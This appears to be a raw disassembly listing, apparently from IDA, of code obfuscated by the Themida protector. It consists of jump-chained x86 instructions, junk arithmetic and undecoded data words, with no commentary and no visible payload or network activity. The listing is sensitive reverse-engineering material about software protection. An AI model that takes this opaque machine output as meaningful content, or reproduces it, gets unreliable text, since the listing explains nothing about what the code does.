		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edi
		mov	edi, 1CE73B07h
		jmp	loc_556246
; ---------------------------------------------------------------------------
aIisug		db '┴КИЦG',0
		align 4
		dd 4EC81h, 4890000h, 0E9E08924h, 962Ch,	0E9242C89h, 77CBh
		dd 0BD242C89h, 34F9668Fh, 6B62E9h
		db 0
; ---------------------------------------------------------------------------


loc_552F7D:				; CODE XREF: Themida_:005521CDj
		pop	dword ptr [esp]
		jmp	loc_553CEE
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 81000000h, 4C6h, 1455E900h, 0E7C10000h, 0AE78108h, 8101317Fh
		dd 0EEE504C7h, 5FFB89FFh, 4708E9h, 4055800h, 0E9000000h
		dd 0FFFFE111h
; ---------------------------------------------------------------------------


loc_552FB8:				; CODE XREF: Themida_:0055A876j
		pop	eax
		not	eax
		xchg	eax, edx
		shr	edx, 5
		not	edx
		jmp	loc_559414
; ---------------------------------------------------------------------------


loc_552FC6:				; CODE XREF: Themida_:00551341j
		mov	edi, ebx
		jmp	loc_55848B
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_557094
; ---------------------------------------------------------------------------
		db 81h,	2Ch, 24h
		dd 406078F5h, 161CE950h, 665C0000h, 0E9240C89h,	5960h
		dd 8B2434FFh, 89532404h, 0DB40E9E3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552FFA:				; CODE XREF: Themida_:005542C7j
		mov	edx, 32DB6845h
		xor	edx, 4C074104h
		and	edx, 31EF0CCEh
		jmp	loc_559297
; ---------------------------------------------------------------------------


loc_553010:				; CODE XREF: Themida_:005510A0j
		push	dword ptr [esp]
		pop	edi
		jmp	loc_554084
; ---------------------------------------------------------------------------
		db 0E9h, 28h, 0DAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55301E:				; CODE XREF: Themida_:00550DBDj
		mov	edx, 4
		sub	eax, edx
		pop	edx
		jmp	loc_5531DB
; ---------------------------------------------------------------------------
		db 50h
		dd 8E7D79B8h, 3AD8BF0Ch, 0F78118B0h, 34F26EC2h,	0F708E7C1h
		dd 9FC781D7h, 17DBDA3h,	2434FFC7h, 0FFED69E9h, 0BF5756FFh
		dd 7097409Eh, 57C0C781h, 0BB5324C8h, 62DC47EDh,	34C8E9h
		dd 24048700h, 2CD3665Ch, 0C4E99C24h, 8100008Eh,	4C4h, 33E6E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553082:				; CODE XREF: Themida_:00555DC1j
		push	edx
		push	edi
		jmp	loc_55BC90
; ---------------------------------------------------------------------------
		db 31h,	3Ch, 24h
		dd 8B243C33h, 34FF2424h, 2434FF24h, 5C14E958h, 0CE280000h
		dd 0EB96E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5530A6:				; CODE XREF: Themida_:00551642j
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_556F6D
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0FF2434FFh, 71E92434h, 4F000093h, 7E36E9h, 28E95000h
		dd 81FFFFF4h, 4C4h, 46C38100h, 1D053B6h, 42E95BDAh, 0BF00003Ch
		dd 0AABE9245h, 0E7E9F931h
		db 1Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5530EF:				; CODE XREF: Themida_:005522E8j
		push	ebp
		mov	ebp, esp
		jmp	loc_5571DB
; ---------------------------------------------------------------------------
		db 66h
		dd 9C241CF7h, 0FFD945E9h, 0ED8158FFh, 69EA5388h, 0F0E9DD01h
		dd 0C3000032h, 0E92434FFh, 5DB5h, 3B688105h, 659B683Dh
		dd 63E90000h, 40000003h, 5004032Dh, 58C60121h, 5C243487h
		dd 9C2404D3h, 0FFEAECE9h, 0EC815CFFh, 4, 89240C89h, 4C181E1h
		dd 55000000h, 4BDh, 4D8DE900h, 3C330000h, 0F1EFE924h, 86BFFFFFh
		dd 29CDDAC8h, 0D9895FFBh, 5B2434FFh, 4C481h, 0D9290000h
		dd 0EE9E9h, 4C48100h, 30000000h, 240C8BE8h, 8004C483h
		dd 0C3803EEBh, 16B252BFh, 0B753DAF6h, 0F837E9B8h, 0BD55FFFFh
		dd 1A6B67B6h, 308E9h, 51D5F700h, 2A09ECB9h, 59CD2900h
		dd 5505C681h, 0EE017DEBh, 5505EE81h, 34FF7DEBh,	242C8B24h
		dd 4085E9h, 244C0100h, 83585904h, 23E904ECh
		db 38h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5531DB:				; CODE XREF: Themida_:00553026j
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		jmp	loc_552DC9
; ---------------------------------------------------------------------------
		db 0C0h
		dd 516603EEh, 0A4E9F0B5h
		db 8, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5531FF:				; CODE XREF: Themida_:0055B202j
		add	esp, 4
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_55714E
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9240C8Bh, 0FFFFFB09h, 68241489h, 7AFA6C43h, 0E3B9515Ah
		dd 816D317Bh, 0F03438E1h, 0CC9813Ch, 815EB907h,	0A146DBC9h
		dd 81D1F705h, 1C1h, 0C7E98100h,	12F383Bh, 2C24E9CAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55324A:				; CODE XREF: Themida_:00551249j
		sub	edi, edx
		pop	edx
		mov	ebx, edi
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		xor	ebx, edx
		jmp	loc_550BBB
; ---------------------------------------------------------------------------
		db 81h,	0E7h, 48h
		dd 0E9584408h, 4E0Ch, 593AE95Ah, 0E94F0000h, 4D9h
; ---------------------------------------------------------------------------


loc_553280:				; CODE XREF: Themida_:00555444j
		pop	esi
		mov	eax, [esp]
		add	esp, 4
		add	edx, 4D013875h
		or	edx, 75C076F2h
		shl	edx, 7
		push	esi
		mov	esi, 4DF355FFh
		jmp	loc_5562DE
; ---------------------------------------------------------------------------
		dd 2434FF5Ch, 0E5CCE958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5532AE:				; CODE XREF: Themida_:00555691j
		pop	ebx
		sub	ebx, 76607069h
		mov	ebp, [esp]
		jmp	loc_551767
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 0F709E957h, 0D909FFFFh, 0F7F1875Bh, 41F187D6h, 2CFFE181h
		dd 9BE91DC9h, 66FFFFD8h, 0C8BCA89h, 638BE924h, 8B660000h
		dd 7368240Ch, 8900000Ch, 0E389241Ch, 4BF57h, 0FDE90000h
		dd 49000018h, 55AEF181h, 0CB313D8Ch, 5B5F5359h,	0B67F5705h
		dd 45F2051Dh, 0F80112F9h, 0F945F22Dh, 7F572D12h, 875F1DB6h
		dd 248B2404h, 9CC13824h, 0FFD715E9h, 0D710E9FFh, 0D0F6FFFFh
		dd 8058C688h, 0CEFEE3F6h, 0D6F6D6F6h, 8016C680h, 0F40038C6h
		dd 58E6005Ah, 66AFC680h, 81240C8Bh, 2C4h, 8BF00000h, 0C4812414h
		dd 4, 2D8468h, 240C8900h, 75B05052h, 5304E0C0h,	65E973B3h
		db 89h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55337F:				; CODE XREF: Themida_:00553A86j
		add	eax, 800005h
		add	ecx, 531B33B9h
		jmp	loc_5594DE
; ---------------------------------------------------------------------------


loc_55338F:				; CODE XREF: Themida_:005565BEj
		pop	esi
		jmp	loc_5547A1
; ---------------------------------------------------------------------------
aAShx		db '─цмИHX',0
		dd 68C30100h, 3B42h, 0FB8E9h
		db 0
; ---------------------------------------------------------------------------


loc_5533A9:				; CODE XREF: Themida_:00555193j
		add	esi, 0EA924FBDh
		jmp	loc_55A0B4
; ---------------------------------------------------------------------------
		dd 0E904C483h, 588Fh, 8B243C87h, 0C4812424h, 4,	0E068F1F7h
		dd 8900005Fh, 30E92414h, 0C1000092h, 0EA8108EAh, 0FFFFFFFFh
		dd 0F7FFEA83h, 0E0FAE9D2h, 465BFFFFh, 0FFE7DEE9h, 0FCC581FFh
		dd 1FFBBBBh, 0BA525DE8h, 4, 875AD001h, 248B2404h, 26BD5524h
		dd 81637B38h, 7C5299F5h, 81454528h, 0B70091CDh,	33C5811Ah
		dd 0E9A44895h, 0FFFFDF1Eh, 32C168h, 241C8900h, 0B05064B3h
		dd 6841E9FFh, 89660000h, 0B652240Ch, 1EE808Fh, 0E98EC680h
		dd 450h, 0EFC0D7F6h, 53EF8003h,	8005EFC0h, 27E9BEF7h
		db 2Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55345F:				; CODE XREF: Themida_:00557B63j
		mov	eax, ebx
		push	ecx
		mov	ecx, eax
		push	ecx
		push	esi
		push	ebp
		mov	ebp, 6EC2770Dh
		jmp	loc_5541AC
; ---------------------------------------------------------------------------
		db 0B4h, 44h, 80h
		dd 6CE9FFECh, 33000035h, 0C31240Ch, 240C3324h, 2A81E95Ch
		dd 2C890000h, 5812BD24h, 0E5C16560h, 0A4F58104h, 106409Ah
		dd 34FF5DE8h, 20685D24h, 89000048h, 0E789243Ch,	9809E9h
		dd 5DE92100h, 53A7C181h, 40E924A2h, 59FFFFFEh, 0E9E68956h
		dd 0FFFFFABDh
; ---------------------------------------------------------------------------


loc_5534C8:				; CODE XREF: Themida_:00555AF8j
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		xor	ebx, eax
		jmp	loc_552201
; ---------------------------------------------------------------------------
		dd offset dword_5B0368
		dd 24048900h, 405E089h,	56000000h, 4BEh, 8BF02900h, 89572434h
		dd 5F72E9E7h, 815E0000h, 4C2h, 24148700h, 0CEE9535Ch, 81000057h
		dd 1C342DEBh, 2F5AE911h, 83AD0000h, 0F00207Fh, 5B9784h
		dd 0FEBA5200h, 816F3F3Ch, 0FFFFFFC2h, 0A8F281FFh, 4A3D716Fh
		dd 17CDE281h, 0F281520Bh, 8CE3967h, 1E93BB53h, 0BAE92951h
		dd 0B8000092h, 0
		dd 1B24E9h, 5FFD0100h, 5B2868h,	241C8900h, 5B7CC7BBh, 345AE927h
		dd 0D6F60000h, 88F58851h, 59EF88FEh, 0FE4CEF80h, 80D7F6CFh
		dd 0FE88BFF7h, 0E9F0005Bh, 0FFFFEC47h, 0E93C77FFh, 0FFFFFB2Dh
		dd 5D10F181h, 0C801638Ah, 83240C8Bh, 2C8B04C4h,	4C48124h
		dd 0E9000000h, 7443h, 4244401h,	582434FFh, 4C481h, 0BAE90000h
		db 97h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5535CB:				; CODE XREF: Themida_:005551ECj
		shl	esi, 6
		and	esi, 6DC4579Dh
		dec	esi
		jmp	loc_55B363
; ---------------------------------------------------------------------------
aSsk		db 'SИk]',0
		align 10h


loc_5535E0:				; CODE XREF: Themida_:0055A6D6j
		xchg	esi, [esp]
		jmp	loc_557FB9
; ---------------------------------------------------------------------------


loc_5535E8:				; CODE XREF: Themida_:005516ACj
		add	ecx, ebp
		push	ebx
		mov	ebx, 70850C20h
		add	ecx, 17115A95h
		sub	ecx, ebx
		sub	ecx, 17115A95h
		pop	ebx
		jmp	loc_5566E0
; ---------------------------------------------------------------------------
		dd 0EB81D3F7h, 57E37E7h, 3318E9h, 8BD03100h, 0C4832414h
		dd 30FF6604h, 0FFD425E9h, 80D7F6FFh, 0DFF638CFh, 8056F780h
		dd 0F80022C7h, 6EE9525Bh
		db 16h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_553637:				; CODE XREF: Themida_:0055950Bj
		add	bl, al
		sub	bl, 67h
		jmp	loc_55A5DF
; ---------------------------------------------------------------------------


loc_553641:				; CODE XREF: Themida_:00559862j
		push	eax
		mov	eax, 0DA26BF41h
		add	edx, eax
		pop	eax
		mov	eax, edx
		jmp	loc_558FE0
; ---------------------------------------------------------------------------


loc_553651:				; CODE XREF: Themida_:00550D04j
					; Themida_:005573EDj
		push	ebx
		jmp	loc_55A02F
; ---------------------------------------------------------------------------
		db 83h
		dd 48904ECh, 2246824h, 48B2F4Ch, 0E398E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55366A:				; CODE XREF: Themida_:00550D10j
		push	2C04h
		mov	[esp], ecx
		push	5F4h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	edx
		mov	edx, 4
		add	ecx, edx
		pop	edx
		push	ebp
		mov	ebp, 484F0FBBh
		add	ebp, 1
		jmp	loc_557898
; ---------------------------------------------------------------------------
		db 31h,	0Ch, 24h
		dd 0E9240C33h, 87EAh
; ---------------------------------------------------------------------------


loc_5536A4:				; CODE XREF: Themida_:00553B21j
		add	ecx, 4
		add	ecx, 4
		jmp	loc_55881F
; ---------------------------------------------------------------------------


loc_5536B2:				; CODE XREF: Themida_:00551CD2j
		add	ebx, eax
		sub	ebx, 509248F3h
		push	3C8Dh
		mov	[esp], eax
		jmp	loc_550A46
; ---------------------------------------------------------------------------
		db 1
		dd 8B042474h, 3BE92434h
		db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5536D3:				; CODE XREF: Themida_:005581F0j
		mov	ebp, 270C06A0h
		shr	ebp, 3
		xor	ebp, 4E180D0h
		add	edi, 35A35F6Dh
		sub	edi, ebp
		sub	edi, 35A35F6Dh
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		sub	dword ptr [esp], 30F3195Fh
		pop	eax
		add	eax, 30F3195Fh
		push	7CB7h
		mov	[esp], edi
		push	3B4B1C80h
		pop	edi
		push	4F56h
		mov	[esp], ebp
		push	esi
		jmp	loc_5556B3
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 2
		dd 51000000h, 0FFD9ABE9h, 0A1BA52FFh, 4A2DA856h, 851C281h
		dd 0E7E9FB0Fh, 8100001Bh, 0D409ACC7h, 72C78122h, 5D2DF96Eh
		dd 79F1E9h, 45EF8100h, 810DA40Fh, 3326ADEFh, 5FF801A3h
		dd 0E904C083h, 669Eh, 6C79BE56h, 74296F3Ch, 815E0824h
		dd 18042444h, 1053613h,	81042474h, 1804246Ch, 81053613h
		dd 79042444h, 8B6F3C6Ch, 0C4832434h, 175E904h, 0D1880000h
		dd 0B6E95A66h, 0BB000095h, 34A83382h, 0C6E9DD01h, 83000053h
		dd 92E904C6h, 5200005Ah, 0C2815A54h, 4,	0FABE9h, 0C0835D00h
		dd 34E95002h, 3100006Eh, 0BD5558C3h, 49504412h,	52C9C581h
		dd 0E581726Fh, 6F4B0330h, 0BA52D5F7h, 5170308Dh, 8E9D501h
		dd 0F7FFFFE5h, 7E8C1D8h, 497FBD55h, 0C5811315h,	0A89192BFh
		dd 15DE829h, 685A58C5h,	6E50h, 0E9242C89h, 345Dh
; ---------------------------------------------------------------------------


loc_553820:				; CODE XREF: Themida_:00559E90j
		mov	[esp], ecx
		mov	ecx, 1
		push	2345h
		mov	[esp], edx
		mov	edx, 24h
		add	edx, 2F38086Ch
		add	edx, 7C0B03B8h
		jmp	loc_557669
; ---------------------------------------------------------------------------
		dw 4721h
		dd 2434FF1Ch, 5C46858h,	0C890000h, 0CB3E924h, 1F040000h
		dd 6618E9h, 3C8B5900h, 4C48324h, 2C681h, 34870000h, 8B665C24h
		dd 0BF68240Ch, 89000037h, 0E6892434h, 4C681h, 55680000h
		dd 89000007h, 0BF572414h, 4, 0E95FFA89h, 0FFFFF336h, 0BAE9F588h
		dd 0BA000025h, 5350002h, 557C281h, 0BBE9035Bh, 5900008Bh
		dd 0B4E95150h, 66000086h, 5124048Bh, 0C181E189h, 4, 4E981h
		dd 0C870000h, 1C895C24h, 81E38924h, 4C3h, 4EC8100h, 0E9000000h
		dd 951Eh, 21E95258h, 0B7000035h, 0E9F80025h, 0FFFFE02Fh
		dd 815BDA01h, 1E002DC7h, 81D7297Bh, 1E002DEFh, 24148B7Bh
		dd 4C481h, 9EE90000h, 8B000072h, 0C4812404h, 4,	1362E9h
		dd 4BE5600h, 1000000h, 5E042474h, 0E924048Fh, 12A0h, 0C781E789h
		dd 4, 8704EF83h, 895C243Ch, 0E789243Ch,	2481E9h, 0D9315800h
		dd 0FFD4DBE9h, 51E089FFh, 49A7E9h, 24148900h, 0F1887FB6h
		dd 1CD6E9h, 5569BB00h, 5EE920CEh, 83000003h, 896602ECh
		dd 26B3241Ch, 8B66D930h, 0C481241Ch, 2,	0FFFA97E9h, 241C89FFh
		dd 4BBh, 3C40E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55399E:				; CODE XREF: Themida_:00555476j
		xchg	eax, [esp]
		pop	esp
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edi
		push	edx
		push	35807FC2h
		jmp	loc_557001
; ---------------------------------------------------------------------------


loc_5539B4:				; CODE XREF: Themida_:00558A34j
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_55B730
; ---------------------------------------------------------------------------
		db 59h
		dd 8704C583h, 1BE9242Ch
		db 4Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5539DB:				; CODE XREF: Themida_:005542E5j
		push	ebx
		push	edi
		mov	edi, 5DBF2147h
		and	edi, 4DC0499h
		push	edx
		jmp	loc_55A771
; ---------------------------------------------------------------------------
		dw 2489h
		dd 24048124h, 4, 9EB9515Dh, 0C119F85Eh,	42E904E1h
		db 40h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_553A07:				; CODE XREF: Themida_:0055A299j
		pop	ecx
		push	ebx
		pop	esi
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_55229F
; ---------------------------------------------------------------------------
		db 68h,	83h, 39h
		dd 4890000h, 24B824h, 0EC810000h, 4, 0B8240489h, 442F1D68h
		dd 158C601h, 0BD5553C6h, 3FF1368Dh, 2E22E9h, 6800h, 0FBE90000h
		dd 66000015h, 0E915EA68h, 0FFFFF9DAh, 8042C480h, 0B252E5CCh
		dd 5AD4006Eh, 0E928EC80h, 81D0h
; ---------------------------------------------------------------------------


loc_553A74:				; CODE XREF: Themida_:00555256j
		push	ebp
		mov	ebp, 5B054953h
		add	ebp, 0A4FAB6AEh
		mov	edi, ebp
		pop	ebp
		sub	eax, edi
		pop	edi
		jmp	loc_55337F
; ---------------------------------------------------------------------------
		db 0FFh
		dd 34FF2434h, 0C4835824h, 59545104h, 58FEBD55h,	98E92828h
		dd 8000007Ch, 0B151AFEEh, 5F3CE9B3h, 148B0000h,	4C48124h
		dd 68000000h, 784Eh, 0E9241C89h, 6809h
; ---------------------------------------------------------------------------


loc_553AC4:				; CODE XREF: Themida_:0055C2D8j
		push	esp
		pop	ecx
		push	eax
		push	ebp
		mov	ebp, 50EF5254h
		shr	ebp, 1
		jmp	loc_552248
; ---------------------------------------------------------------------------
		dd 8BF02966h, 0C4832434h, 7D686604h, 14896625h,	30D3E924h
		dd 5A540000h, 2A9C6851h, 0C8B0387h, 4C48324h, 0C108E9C1h
		dd 505106E9h, 187E9h, 0E9C35C00h, 0FFFFCF3Ah, 0C89665Ch
		dd 0CF30E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553B16:				; CODE XREF: Themida_:00557871j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_5536A4
; ---------------------------------------------------------------------------
		dw 0A368h
		dd 8900001Eh, 8B54242Ch, 0C483242Ch, 87A3E904h,	0C1810000h
		dd 4, 0FFD89DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_553B45:				; CODE XREF: Themida_:0055686Aj
		not	edx
		not	edx
		shr	edx, 4
		jmp	loc_55CCCB
; ---------------------------------------------------------------------------
		db 29h,	0F8h, 5Fh
		dd 0D5452D2Dh, 0E9D8017Eh, 0FFFFF12Eh, 8016B753h, 97E999CFh
		dd 8100005Ch, 880281EBh, 0E9D80105h, 3C40h, 2414875Bh
		dd 243C895Ch, 0E924148Bh, 0FFFFDD83h, 24048B66h, 685F5457h
		dd 3A28h, 56242C89h, 5A1FE9h, 96E78100h, 53288426h, 0EA4F3ABBh
		dd 5BDF296Eh, 0FFDD1AE9h, 2B03BAFFh, 0C2814251h, 35E13E79h
		dd 6123E281h, 0D2F77754h, 42A4E94Ah, 575E0000h,	6B0AE9h
		dd 40C96800h, 1C890000h, 0C97E924h, 0EC830000h,	243C8904h
		dd 0FFE450E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_553BE9:				; CODE XREF: Themida_:00558753j
		push	eax
		mov	eax, 0AA62FBDh
		jmp	loc_55C067
; ---------------------------------------------------------------------------
		dd 0EE9CF381h, 0DE299BF1h, 24048B5Bh, 0FFEB82E9h, 58C631FFh
		dd 0C681DEF7h, 68B05516h, 0A9F6814Eh, 89B7A9EAh, 0ABE95EF7h
		dd 5000005Ch, 0C13054B0h, 28620458h, 59622CC8h,	152EE9h
		dd 24148900h, 7022E9h
		db 0
; ---------------------------------------------------------------------------


loc_553C39:				; CODE XREF: Themida_:00550D5Aj
		or	edi, 0D60F79h
		xor	edi, 0B1691C8Eh
		sub	ecx, edi
		jmp	loc_55974D
; ---------------------------------------------------------------------------
		dd 0BEF7814Fh, 55A9F6Eh, 377C59CAh, 5A51E9h, 66D03000h
		dd 8124148Bh, 2C4h, 0FC33000h, 75E9C0B6h, 500000Ch, 4
		dd 1174E9h, 24348700h, 8724248Bh, 0E95C241Ch, 163Fh, 83240C8Bh
		dd 485804C4h, 0E9C18191h, 0E9FFFFF1h, 30A0h, 0E789575Dh
		dd 2801E9h
		db 0
; ---------------------------------------------------------------------------


loc_553CA9:				; CODE XREF: Themida_:0055B8F6j
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], esi
		push	ebx
		mov	ebx, 1E0C7A18h
		jmp	loc_55B6D8
; ---------------------------------------------------------------------------
		dd 70CCEE81h, 0F0012442h, 9A4E95Eh, 0B8500000h,	73AF69B7h
		dd 222FE9h, 6DF38100h, 120CE55h, 7BE95BDDh, 51000058h
		dd 0DF01595Bh, 4BFDE95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553CEE:				; CODE XREF: Themida_:00552F80j
		pop	esp
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		push	ebp
		push	esi
		mov	esi, 4B3D252Ah
		dec	esi
		or	esi, 4CD66143h
		shr	esi, 2
		jmp	loc_551DAD
; ---------------------------------------------------------------------------
		db 54h,	0E9h, 7Fh
		dd 5300001Eh, 23BEE9h, 4C48300h, 0E924048Fh, 3FDh, 29433C35h
		dd 4FE94827h, 5EFFFFD8h, 8108EBC1h, 2C77CCF3h, 0EECEE939h
		dd 8B66FFFFh, 75E92404h, 1000060h, 241C8BDDh, 8704C483h
		dd 248B242Ch, 68F9F724h, 12EAh,	50241489h, 0CCDCE99Ch
		dd 0C058FFFFh, 0E5C007EDh, 0FFED8008h, 8003E5C0h, 212C43C5h
		dd 2104E828h, 4EC8359h,	36CDE9h, 59CF8000h, 0E94FF780h
		dd 758Bh, 24D3665Ch, 0A7E99C24h, 0E9FFFFCCh, 0FFFFCCA2h
		dd 195A2468h, 0F1815928h, 28195A20h, 24348151h,	3AA5652Eh
		dd 2EF6815Eh, 593AA565h, 71D4E9h
		db 0
; ---------------------------------------------------------------------------


loc_553DC5:				; CODE XREF: Themida_:00556031j
		add	ebp, 4CE60C68h
		pop	ebx
		push	ecx
		mov	ecx, 70EE6520h
		add	ebp, 372A7454h
		sub	ebp, ecx
		sub	ebp, 372A7454h
		jmp	loc_55599A
; ---------------------------------------------------------------------------


loc_553DE5:				; CODE XREF: Themida_:0055468Ej
		pop	edx
		jmp	loc_55B359
; ---------------------------------------------------------------------------
		db 1
		dd 430A2DF0h, 5E5E5A3Bh, 81242C8Bh, 4C4h, 4E88300h, 5C240487h
		dd 980E9h, 81E78900h, 4C7h, 4C78100h, 87000000h, 805C243Ch
		dd 0C328A3C3h, 83A3EB80h, 148904ECh, 0B2525324h, 3006B77Bh
		dd 52E95AD7h, 47FFFFFFh, 514BC781h, 12E98A91h
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553E43:				; CODE XREF: Themida_:0055C576j
		xor	ah, ch
		pop	ecx
		push	eax
		mov	ah, 0DBh
		not	ah
		shr	ah, 6
		shl	ah, 5
		sub	ah, 0E2h
		add	dl, ah
		pop	eax
		sub	dl, ah
		sub	dl, 1Eh
		pop	eax
		sub	al, 6Dh
		sub	al, dl
		add	al, 6Dh
		pop	edx
		push	ecx
		jmp	loc_5553D0
; ---------------------------------------------------------------------------


loc_553E6A:				; CODE XREF: Themida_:0055BF6Aj
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_55BB14
; ---------------------------------------------------------------------------
		db 53h,	0B7h, 0CFh
		dd 0B050C7FEh, 34A9341Fh, 0E9603429h, 0C3h, 2A05E801h
		dd 573DB07Ah, 1D99BB53h, 69E9244Fh
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553E9B:				; CODE XREF: Themida_:00559100j
		xor	dword ptr [esp], 493F76C7h
		pop	ecx
		sub	esp, 4
		mov	[esp], ebp
		push	493F76C7h
		pop	ebp
		xor	ecx, ebp
		pop	ebp
		pop	edx
		sub	[esp+4], ecx
		jmp	loc_5522E5
; ---------------------------------------------------------------------------
		dd 8F1D2D48h, 0C3297D70h, 5624048Bh, 0C681E689h, 4, 8704C683h
		dd 15C2434h, 0E8C381FBh, 5220FB23h, 0BAh, 3DA0100h, 24148B02h
		dd 5B04C483h, 489FE9h
		db 0
; ---------------------------------------------------------------------------


loc_553EF5:				; CODE XREF: Themida_:0055A659j
		pop	ebp
		jmp	loc_55CE3F
; ---------------------------------------------------------------------------
		db 29h
		dd 0C3015AD3h, 5642BA52h, 0EC8172D6h, 4, 0BD242C89h, 5EF9413Ah
		dd 0B6E9EA29h
		db 76h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_553F1B:				; CODE XREF: Themida_:00554D70j
		xor	al, bl
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_551E5C
; ---------------------------------------------------------------------------
		dd 5D2434FFh, 4EC81h, 0C890000h, 3C8FE924h, 0E95B0000h
		dd 9D0h, 0D7F7FB87h, 46E9FB87h,	76h, 0D7F658C7h, 800FEF80h
		dd 0FD00D8C5h, 0D8B75366h, 5B66FD28h, 0E9241C8Bh, 3A52h
		dd 241C895Ch, 0FFD72EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_553F71:				; CODE XREF: Themida_:0055597Ej
		dec	dl
		dec	dl
		sub	dl, 0A3h
		sub	bl, dl
		pop	edx
		add	bl, al
		add	bl, 0D6h
		add	bl, 7Bh
		movzx	eax, al
		push	ebx
		push	1732h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		push	esi
		mov	esi, 4
		sub	eax, 0C8A3FB9h
		add	eax, esi
		add	eax, 0C8A3FB9h
		pop	esi
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_557CEC
; ---------------------------------------------------------------------------
		db 0B3h
		dd 5E3C05Fh, 6618CB80h,	2853B151h, 0C8B66CBh, 2C48324h
		dd 49E99A2Ch, 8100001Bh, 4C6h, 4EC8300h, 0BD242C89h, 71705CD5h
		dd 0FFFFC581h, 0A468FFFFh, 89000062h, 0D0BF243Ch, 0E971705Ch
		dd 275Dh
; ---------------------------------------------------------------------------


loc_55400C:				; CODE XREF: Themida_:0055CBA9j
		add	esp, 4
		jmp	loc_55BC15
; ---------------------------------------------------------------------------
		dd 0D60A2A68h, 0D813E93Ah, 8B66FFFFh, 81512404h, 4ECh
		dd 24248900h, 4240483h,	4C18159h, 56000000h, 0DF3000BEh
		dd 0DEF7464Bh, 3FD3BB53h, 0C3814A2Ch, 53066FC9h, 6C78EB81h
		dd 0DE3149A2h, 0D9BA525Bh, 8106B53Eh, 0BD73FDC2h, 5BD7E97Ah
		dd 835B0000h, 45E901E9h
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------


loc_55406F:				; CODE XREF: Themida_:00551CC6j
		pop	esi
		jmp	loc_55BA4E
; ---------------------------------------------------------------------------
aD?xZCsnu	db '╬╬╓?X)жZяФИ╜u',0
		align 4


loc_554084:				; CODE XREF: Themida_:00553014j
		add	esp, 4
		sub	ebp, 2
		jmp	loc_55BDD5
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832434h, 141FE904h, 80BF0000h, 2D4A5F00h,	6E8B23C2h
		dd 0C205F801h, 5F6E8B23h, 80D1E951h, 0EC830000h, 24048904h
		dd 255CE953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5540BE:				; CODE XREF: Themida_:0055C0F6j
		pop	ebp
		shr	esi, 3
		sub	esi, 0AA5B298h
		jmp	loc_557E3A
; ---------------------------------------------------------------------------
		db 1, 0C3h, 0E9h
		dd 1490h, 24048B66h, 4EC81h, 34890000h,	4EC8124h, 89000000h
		dd 4812424h, 424h, 24348B00h, 52CE9h, 831CB500h, 1C8904ECh
		dd 0FEB2B324h, 7EF380C3h, 0FFEB80h, 241C8BDDh, 4C481h
		dd 89040000h, 0B42CDE04h, 0B404E800h, 72F3E9h, 34895C00h
